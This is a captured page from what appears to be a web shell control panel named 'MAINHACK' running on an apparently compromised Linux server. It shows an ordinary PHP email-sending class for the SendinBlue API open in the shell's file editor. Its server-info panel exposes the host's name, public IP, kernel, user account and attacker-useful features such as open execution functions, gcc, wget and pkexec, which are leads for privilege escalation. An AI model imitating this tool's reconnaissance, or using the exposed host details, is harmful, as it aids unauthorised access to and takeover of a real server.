[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SendinBlueEmail.php
<?php use SendinBlue\Client\Configuration; use SendinBlue\Client\Api\TransactionalEmailsApi; use SendinBlue\Client\Model\SendSmtpEmail; use SendinBlue\Client\Model\SendSmtpEmailTo; use SendinBlue\Client\Model\SendSmtpEmailSender; use SendinBlue\Client\Model\SendSmtpEmailAttachment; class SendinBlueEmail { protected $CI; public function __construct() { $this->CI =& get_instance(); } public function sendEmail($mail_data) { $company_smtp = json_decode(getCompanySMTP($mail_data['company_id'])); require_once FCPATH . 'vendor/autoload.php'; // Create a new configuration instance $config = Configuration::getDefaultConfiguration(); $config->setApiKey('api-key', "$company_smtp->api_key"); // Create an instance of the TransactionalEmailsApi $apiInstance = new TransactionalEmailsApi(new GuzzleHttp\Client(), $config); // Create a new SendSmtpEmail object $email = new SendSmtpEmail(); $sender = new SendSmtpEmailSender(); $sender->setName($company_smtp->from_name); $sender->setemail($company_smtp->from_email); $email->setSender($sender); $recipients = []; foreach ($mail_data['to'] as $recipient) { $toObject = new SendSmtpEmailTo(); $toObject->setEmail($recipient); $recipients[] = $toObject; if(isset($mail_data['file_path'])){ if ($mail_data['file_path'] !== null) { $attachment = new SendSmtpEmailAttachment(); $attachment->setName($mail_data['file_name']); $attachment->setContent(base64_encode(file_get_contents($mail_data['file_path']))); $email->setAttachment([$attachment]); } } } $email->setTo($recipients); $email->setSubject($mail_data['subject']); $email->setHtmlContent($mail_data['template']); try { // Send the email $result = $apiInstance->sendTransacEmail($email); return true; // Email sent successfully } catch (Exception $e) { echo 'Error sending email: ', $e->getMessage(); return false; // Email sending failed } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002